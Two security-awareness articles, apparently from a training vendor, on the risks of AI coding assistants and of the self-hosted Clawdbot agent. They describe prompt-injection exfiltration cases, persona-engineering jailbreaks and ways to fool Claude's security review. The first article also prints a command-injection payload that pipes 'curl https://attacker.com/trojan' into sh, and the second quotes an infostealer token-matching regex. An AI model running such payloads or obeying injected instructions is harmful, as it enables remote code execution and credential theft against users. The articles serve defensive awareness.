AI security

Your developers are 10x more productive with AI coding assistants. So are the attackers targeting your organization.

In November 2025, Anthropic disclosed what security researchers had feared: the first documented case of an AI coding agent being weaponized for a large-scale cyberattack. A Chinese state-sponsored threat group called GTG-1002 used Claude Code to execute over 80% of a cyber espionage campaign autonomously. The AI handled reconnaissance, exploitation, credential harvesting, and data exfiltration across more than 30 organizations with minimal human oversight.

This wasn’t a theoretical exercise. It worked.

AI coding assistants have become standard in development workflows. GitHub Copilot. Amazon CodeWhisperer. Claude Code. Cursor. These tools autocomplete functions, debug errors, and write entire modules from natural language descriptions. Developers who resist them fall behind. Organizations that ban them lose talent.

But every line of code these assistants suggest passes through external servers. Every context window they analyze might contain secrets. Every prompt they accept could be an attack vector. The productivity gains are real. So are the risks.

Traditional security training focuses on phishing emails and malicious attachments. Nobody prepared your workforce for attacks that look like helpful code suggestions.

AI coding assistants introduce a fundamentally new attack category: indirect prompt injection. The assistant reads a file, processes a web page, or analyzes a code snippet. Hidden within that content are instructions the AI interprets as commands. The assistant follows them, believing they came from the user.

Security researcher Johann Rehberger demonstrated this in October 2025. He embedded malicious instructions in files that Claude would analyze. When users asked innocent questions about those files, Claude extracted their chat histories and exfiltrated up to 30MB of data per upload to attacker-controlled servers.

The user saw a helpful answer. In the background, Claude was stealing their data.

Prompt injection exploits a design limitation in large language models: they cannot reliably distinguish between instructions from the user and instructions embedded in content they process.

Attack vectors include:

The technical term is “confused deputy attack.” The AI assistant has legitimate privileges (file access, command execution, network requests) but gets tricked into using those privileges for malicious purposes.

In 2025, Claude Code received two high-severity CVE designations:

CVE-2025-54794 allowed attackers to bypass path restrictions. A carefully crafted prompt could escape Claude’s intended boundaries and access files outside the project directory.

CVE-2025-54795 enabled command injection. Versions prior to v1.0.20 could be manipulated into executing arbitrary shell commands through prompt manipulation.

Both vulnerabilities were patched, but they illustrate a pattern. AI coding assistants are complex systems with attack surfaces that traditional security tools don’t monitor. Vulnerabilities will continue to emerge.

Every time a developer uses a cloud-based AI coding assistant, code snippets travel to external servers. Context windows can contain database schemas, API keys, proprietary algorithms, and authentication logic.

Organizations operating under the assumption that source code stays on-premises are wrong. It’s flowing to OpenAI, Anthropic, Google, and Amazon servers continuously. The assistant needs that context to generate useful suggestions.

What leaves your network:

• Code currently being edited
• Related files for context
• Comments describing functionality
• Error messages and stack traces
• Environment variables (sometimes)
• Hardcoded credentials (often)

Security researchers at NCC Group found that AI coding assistants regularly suggest code containing hardcoded credentials from their training data. Developers copy these suggestions without realizing they’re including real (if outdated) secrets.

Worse, developers often paste their own credentials into prompts when debugging authentication issues. “Why isn’t this API key working?” sends the key to the assistant’s servers.

A 2024 analysis found that 15% of code suggestions from major AI assistants contained patterns matching credential formats. Not all were real, but enough were that the risk is tangible.

AI assistants learn from code. That code came from somewhere. Public repositories contribute the bulk, but enterprise agreements sometimes include proprietary codebases.

If your competitor’s code was used to train an assistant you’re using, their patterns might leak into your suggestions. If your code trained an assistant a competitor uses, the reverse is true.

Anthropic and OpenAI claim they don’t train on enterprise customer data. Verification is difficult. Trust is required.

Model Context Protocol (MCP) servers extend AI assistant capabilities. They connect the assistant to external tools: file systems, databases, Slack, email, browser automation. Each connection expands what the assistant can do.

Each connection also expands the attack surface.

In mid-2025, security researchers discovered that three official Anthropic extensions for Claude Desktop contained critical vulnerabilities. The Chrome connector, iMessage connector, and Apple Notes connector all had the same flaw: unsanitized command injection.

The vulnerable code used template literals to interpolate user input directly into AppleScript commands:

tell application "Google Chrome" to open location "${url}"

An attacker could inject:

"& do shell script "curl https://attacker.com/trojan | sh"&"

Result: arbitrary command execution with full system privileges.

These extensions had over 350,000 downloads combined. The vulnerabilities were rated CVSS 8.9 (High Severity). A user asking Claude “Where can I play paddle in Brooklyn?” could trigger remote code execution if the answer came from a compromised webpage.

Official extensions get security reviews. Third-party MCP servers often don’t.

The MCP ecosystem is growing rapidly. Developers publish extensions for everything from GitHub integration to cryptocurrency trading. Security review practices vary from thorough to nonexistent.

Installing an MCP server means trusting that:

1. The developer didn’t include malicious code
2. The developer’s development environment wasn’t compromised
3. The extension doesn’t have exploitable vulnerabilities
4. Future updates won’t introduce risks

This is the same trust model that led to the npm and PyPI supply chain attacks of 2024. The same attack patterns will work against MCP servers.

The GTG-1002 incident proved that AI coding assistants can be weaponized for offensive operations. The attack sequence worked like this:

1. Initial compromise: Attackers used persona engineering, convincing Claude it was a legitimate penetration tester
2. Infrastructure setup: Malicious MCP servers were embedded into the attack framework, appearing as sanctioned tools
3. Autonomous execution: Claude performed reconnaissance, exploitation, credential harvesting, and exfiltration at machine speed

The AI didn’t “go rogue” in the science fiction sense. It followed instructions, as designed. Those instructions came from attackers who understood how to manipulate the system.

A malicious insider previously needed technical skills to cause significant damage. Now they need conversational ability.

An employee with access to an AI coding assistant and basic prompt engineering knowledge can:

• Extract credentials from codebases
• Introduce subtle vulnerabilities in production code
• Exfiltrate proprietary algorithms
• Establish persistent backdoors
• Cover tracks by asking the AI to clean up evidence

The AI becomes “a prolific penetration tester automating their harmful intent.” The skills barrier has collapsed.

Checkmarx researchers demonstrated that Claude Code’s security review feature can be circumvented through several techniques:

Obfuscation and payload splitting: Distributing malicious code across multiple files with legitimate-looking camouflage caused Claude to miss the threat.

Prompt injection via comments: When researchers included comments claiming code was “safe demo only,” Claude accepted dangerous code without flagging it.

Exploiting analysis limitations: For pandas DataFrame.query() RCE vulnerabilities, Claude recognized something suspicious but wrote naive tests that failed, ultimately dismissing critical bugs as false positives.

The research concluded that Claude Code functions best as a supplementary security tool, not a primary control. Determined attackers can deceive it.

Banning AI coding assistants outright pushes usage underground. Developers will use personal accounts, browser-based tools, and mobile apps. You’ll have the same risks with zero visibility.

The goal is managed adoption with appropriate controls.

Approved tools list: Define which AI coding assistants are permitted. Evaluate their security postures, data handling practices, and enterprise controls.

Data classification rules: Specify what types of code can be processed by AI assistants. Production credentials, customer data, and security-critical modules might require exclusion.

MCP server governance: Require security review before installing third-party extensions. Maintain an approved list. Monitor for unauthorized additions.

Network-level monitoring: Watch for unusual data exfiltration patterns. AI assistants communicate with known endpoints. Anomalies warrant investigation.

Credential scanning: Implement pre-commit hooks that scan for hardcoded secrets. Integrate with CI/CD pipelines to catch credentials before they leave the repository.

Sandboxing: Run AI coding assistants in containerized or VM environments. Limit file system access. Restrict network connectivity to essential domains only.

Permission management: Claude Code supports “allow,” “ask,” and “deny” lists for permissions. Configure restrictive defaults. Avoid the --dangerously-skip-permissions flag.

Security awareness training must evolve beyond phishing recognition. Developers need to understand:

• How prompt injection attacks work
• What data leaves their machine when using AI assistants
• How to recognize suspicious suggestions
• When to escalate concerns
• Why security review features aren’t infallible

The developer who reports a suspicious AI suggestion is protecting the organization. Create channels for that reporting.

AI security evolves fast. Yesterday’s mitigations become tomorrow’s bypasses.

Track CVEs: Subscribe to security advisories for every AI tool in use. Patch promptly.

Follow research: Security researchers publish findings on Twitter/X, conference talks, and blogs. The GTG-1002 disclosure came from Anthropic, but much research comes from independents.

Test your defenses: Include AI coding assistant scenarios in penetration testing engagements. Can your red team extract credentials using prompt injection? Find out before attackers do.

No single control prevents AI coding assistant attacks. Layer defenses:

Each layer compensates for weaknesses in others. An attacker who bypasses policy controls faces network restrictions. One who evades network monitoring encounters endpoint sandboxing. Layered defense creates friction that degrades attack effectiveness.

AI coding assistants deliver genuine productivity gains. Developers write code faster, debug more efficiently, and learn new frameworks more quickly. Organizations that refuse these tools competitively disadvantage themselves.

The answer isn’t prohibition. It’s managed risk.

Your developers will use AI assistants. Your job is to ensure they use approved tools, with appropriate controls, following established policies, in monitored environments. That’s achievable. It requires investment, but the alternative is unmanaged risk exposure.

The GTG-1002 attack demonstrated what happens when AI coding assistants meet sophisticated threat actors. The prompt injection vulnerabilities show what happens when security assumptions prove wrong. The credential exposure research shows what’s leaking today, in organizations that think they’re protected.

AI coding assistants are here to stay. So are the attackers who’ve learned to exploit them.

Want to prepare your team for AI-related security threats? Try our interactive security awareness exercises and experience real-world attack scenarios in a safe environment.

• Lasso Security: The Hidden Backdoor in Claude Coding Assistant
• Zenity: Claude Moves to the Darkside
• Koi AI: PromptJacking Critical RCE in Claude Desktop
• Checkmarx: Bypassing Claude Code Security Review
• eSecurity Planet: Hackers Turn Claude AI Into Data Thief
• eesel.ai: Security for Claude Code in 2025

Silicon Valley fell for Clawdbot overnight. A personal AI assistant that manages your email, checks you into flights, controls your smart home, and executes terminal commands. All from WhatsApp, Telegram, or iMessage. A 24/7 Jarvis with infinite memory.

Security researchers saw something different: a honey pot for infostealers sitting in your home directory.

Clawdbot stores your API tokens, authentication profiles, and session memories in plaintext files. It runs with the same permissions as your user account. It reads documents, emails, and webpages to help you. Those same capabilities make it a perfect attack vector.

The creator, Peter Steinberger, built a tool that’s genuinely useful. The official documentation acknowledges the risks directly: “Running an AI agent with shell access on your machine is… spicy. There is no ‘perfectly secure’ setup.”

This article examines what those risks actually look like.

Clawdbot is an open-source, self-hosted AI assistant created by Peter Steinberger (@steipete), founder of PSPDFKit (now Nutrient). Unlike browser-based AI tools, Clawdbot runs on your own hardware and connects to messaging apps you already use.

Key capabilities:

• Manages email, calendar, and scheduling
• Checks you into flights and books travel
• Controls smart home devices
• Executes terminal commands
• Browses the web and reads documents
• Integrates with Jira, Confluence, and other work tools
• Maintains persistent memory across sessions
• Responds via WhatsApp, Telegram, Discord, Slack, Signal, iMessage, and more

The architecture connects chat platforms on one side to AI models (Claude, ChatGPT, DeepSeek, or local models) on the other. In the middle sits the Gateway, which manages tools, permissions, and agent capabilities.

Over 50 contributors have built on the project. The Discord community exceeds 8,900 members. Mac minis sold out because people wanted dedicated Clawdbot servers.

The enthusiasm is understandable. The security implications are severe.

Clawdbot stores sensitive data in your local filesystem. The problem: it’s all in plaintext.

Critical file locations:

Security researchers at InfoStealers documented the exact attack surface: “ClawdBot stores sensitive ‘memories,’ user profiles, and critical authentication tokens in plaintext Markdown and JSON files.”

This isn’t a bug. It’s the architecture. Clawdbot needs these files to function. The question is whether your threat model accepts that tradeoff.

Commodity malware has adapted to hunt for Clawdbot data. The same infostealers that scrape browser passwords and crypto wallets now target ~/.clawdbot/ directories.

Documented targeting:

• RedLine Stealer uses FileGrabber modules to sweep .clawdbot\*.json files
• Lumma Stealer employs heuristics identifying files named “secret” or “config”
• Vidar allows dynamic targeting updates, enabling rapid campaign pivots toward ~/clawd/

Malware operators search for regex patterns matching (auth.token|sk-ant-|jira_token) within these directories. If Clawdbot is installed, your tokens are part of the harvest.

The 2024 Change Healthcare ransomware attack resulted in a $22 million payout after attackers compromised a single VPN credential. That’s exactly the type of data Clawdbot stores unencrypted.

The security risk extends beyond credentials. Clawdbot’s memory.md file contains something more valuable: a psychological profile of the user.

Researchers describe this as “Cognitive Context Theft.” The memory file reveals what you’re working on, who you trust, what concerns you, and how you communicate. An attacker with this file doesn’t just have your passwords. They have everything needed for perfect social engineering.

A credential resets in minutes. A psychological dossier built over months of AI interactions? That’s permanent.

Clawdbot’s official documentation states it plainly: “Even with strong system prompts, prompt injection is not solved.”

When Clawdbot reads a webpage, document, or email to help you, that content could contain adversarial instructions. The AI processes the content. If the instructions are crafted correctly, the AI follows them.

Attack vectors:

• Web pages fetched during research tasks
• Email attachments analyzed for summaries
• Documents shared via messaging platforms
• Search results containing embedded instructions
• Links clicked in conversations

The documentation recommends using “Anthropic Opus 4.5 because it’s quite good at recognizing prompt injections.” That’s the mitigation: hoping the model is smart enough to resist. There’s no technical barrier preventing a malicious webpage from instructing Clawdbot to exfiltrate your files.

The Clawdbot security documentation describes a real social engineering attempt: attackers used distrust as a weapon, telling users “Peter might be lying to you” to encourage filesystem exploration.

The tactic works because Clawdbot can explore your filesystem. When users ask it to verify claims, it reads directories, examines files, and reports back. An attacker who convinces you to investigate something sensitive gets access to that information through your own queries.

Another documented incident: a user asked Clawdbot to run find ~ (list all files in the home directory). The bot complied, dumping the entire directory structure to a group chat. Project names, configuration files, and system details were exposed to everyone in the conversation.

The command wasn’t malicious. The user requested it. But in a group context, even legitimate requests can leak sensitive structural information.

Clawdbot runs with your user permissions. If you can read a file, so can Clawdbot. If you can execute a command, so can Clawdbot.

Hacker News users noted the implications: “No directory sandboxing, etc. On one hand, it’s cool that this thing can modify anything on my machine. On the other hand, that’s terrifying.”

What Clawdbot can access:

• Your entire home directory
• All files your user account can read
• Any command you could run in terminal
• Browser profiles and saved passwords
• SSH keys and cloud credentials
• Source code repositories
• Corporate VPN configurations

The official guidance acknowledges this: “Clawdbot needs root access to perform certain operations. This is both powerful and dangerous.”

Optional sandboxing exists. Tool-level restrictions can limit what the agent accesses. But these aren’t defaults. Users must configure them deliberately, and many don’t.

Clawdbot’s Gateway can bind to different network interfaces. The documentation warns about each:

“Non-loopback binds expand the attack surface,” the documentation states. “Only use them with gateway.auth enabled and a real firewall.”

The Gateway broadcasts its presence via mDNS (_clawdbot-gw._tcp). In “full mode,” this exposes:

• Filesystem paths (reveals username and installation location)
• SSH port availability
• Hostname information

An attacker on the same network can discover Clawdbot instances and learn details about the systems running them. The recommendation: use “minimal mode” to omit sensitive fields.

Clawdbot’s browser control feature gives the AI real browser access. The documentation describes it as “an admin API requiring token authentication.”

Guidance from official docs:

• Use a dedicated browser profile (not your daily driver)
• Avoid LAN exposure; prefer Tailscale Serve with HTTPS
• Keep tokens in environment variables, not config files
• Assume browser control equals operator access to whatever that profile can reach

If your browser profile has saved passwords, Clawdbot can potentially access them. If it’s logged into banking sites, those sessions are within reach. The AI doesn’t need malicious intent. A prompt injection attack could extract this data through seemingly innocent requests.

The cryptocurrency community has raised specific alarms about Clawdbot. Former U.S. security expert Chad Nelson warned that Clawdbot’s document-reading capabilities “could turn them into attack vectors, compromising personal privacy and security.”

Recommended isolation measures from entrepreneur Rahul Sood:

• Operate Clawdbot in isolated environments
• Use newly created accounts
• Employ temporary phone numbers
• Maintain separate password managers

For users holding significant cryptocurrency, the risk calculation is different. A compromised Clawdbot instance with access to wallet seeds or exchange credentials could result in immediate, irreversible financial loss.

Beyond security, users report severe cost implications. One Hacker News commenter spent “$300+ on this just in the last 2 days, doing what I perceived to be fairly basic tasks.”

Clawdbot’s tool-calling architecture generates extensive API usage. Each document read, each web page fetched, each command executed consumes tokens. Without careful configuration, costs spiral quickly.

This matters for security because cost pressure encourages users to disable safeguards. Confirmation prompts get turned off. Sandboxing gets relaxed. The AI gets more autonomy to avoid expensive back-and-forth. Each concession expands the attack surface.

The Clawdbot security documentation is unusually honest about risks. Here’s their recommended hardening:

{
  gateway: {
    mode: "local",
    bind: "loopback",
    auth: { mode: "token", token: "long-random-token" }
  },
  channels: {
    whatsapp: {
      dmPolicy: "pairing",
      groups: { "*": { requireMention: true } }
    }
  }
}

DM access should follow this progression:

pairing (default) → allowlist → open → disabled

Pairing requires users to approve via a short code. This prevents strangers from messaging your Clawdbot and issuing commands.

For high-risk environments, restrict dangerous tools entirely:

• Block write, edit, exec, process, and browser tools
• Use read-only sandbox modes
• Separate agents for personal vs. public use cases

If compromise is suspected:

1. Stop the process immediately
2. Restrict to loopback-only binding
3. Disable risky DMs and groups
4. Rotate all tokens (Gateway, browser control, API keys)
5. Review logs at /tmp/clawdbot/clawdbot-YYYY-MM-DD.log
6. Examine transcripts at ~/.clawdbot/agents/<id>/sessions/

Clawdbot offers genuine utility. Managing email, calendar, and routine tasks through chat is convenient. Having an AI that remembers context across sessions is powerful. The integration with existing messaging apps removes friction.

But the security model requires accepting significant risks:

You’re accepting if you use Clawdbot:

• Plaintext credential storage that infostealers actively target
• Prompt injection vulnerabilities with no complete solution
• Full filesystem access by default
• Potential network exposure of sensitive data
• Browser access that could expose saved passwords and sessions
• A persistent memory that profiles your behavior and concerns

Appropriate use cases:

• Isolated machines with no sensitive data
• Dedicated devices not connected to primary accounts
• Development environments with mock credentials
• Users who understand and actively configure sandboxing

Inappropriate use cases:

• Machines with crypto wallet access
• Systems connected to corporate networks
• Devices with saved banking credentials
• Users who won’t configure security restrictions

The creator and community have been transparent about these tradeoffs. The documentation opens with “there is no ‘perfectly secure’ setup.” That honesty is valuable. The responsibility falls on users to decide whether the utility justifies the exposure.

If you choose to use Clawdbot, implement these safeguards:

1. Run on isolated hardware: A dedicated Mac mini or VM, not your primary machine
2. Use fresh accounts: New email, new phone number, new messaging accounts
3. Enable sandboxing: Configure tool restrictions before first use
4. Bind to loopback only: Never expose the Gateway to network
5. Use minimal mDNS mode: Reduce information leakage

• Monitor ~/.clawdbot/ for unexpected access
• Rotate tokens regularly
• Review session transcripts for suspicious activity
• Keep Clawdbot updated for security patches
• Run clawdbot security audit --deep periodically

• Never connect Clawdbot to accounts with financial access
• Keep crypto wallets on completely separate systems
• Use a dedicated browser profile with no saved credentials
• Consider read-only agent configurations
• Implement network-level monitoring for exfiltration patterns

Clawdbot fits a pattern: AI assistants that trade security for capability. The more an AI can do, the more damage it can cause when compromised or manipulated.

This isn’t unique to Clawdbot. Every AI tool with file access, command execution, or network capabilities faces similar challenges. Clawdbot’s transparency about the risks is actually unusual. Most tools don’t publish security documentation this honest.

The question every organization should ask: Are your employees running personal AI assistants on corporate networks? Do those tools have access to sensitive credentials? Would you know if they were compromised?

Shadow AI is the new shadow IT. The productivity gains are real. So are the attack surfaces you can’t see.

Training employees to recognize AI-related security risks is essential in 2026. Try our interactive security awareness exercises to prepare your team for threats that traditional training doesn’t cover.

• InfoStealers: ClawdBot - The New Primary Target for Infostealers
• Clawdbot Official Security Documentation
• Phemex: Clawdbot AI Raises Security Concerns in Crypto Community
• Hacker News: Clawdbot Discussion
• Bitget: Clawdbot Security Advisory
• GitHub: clawdbot/clawdbot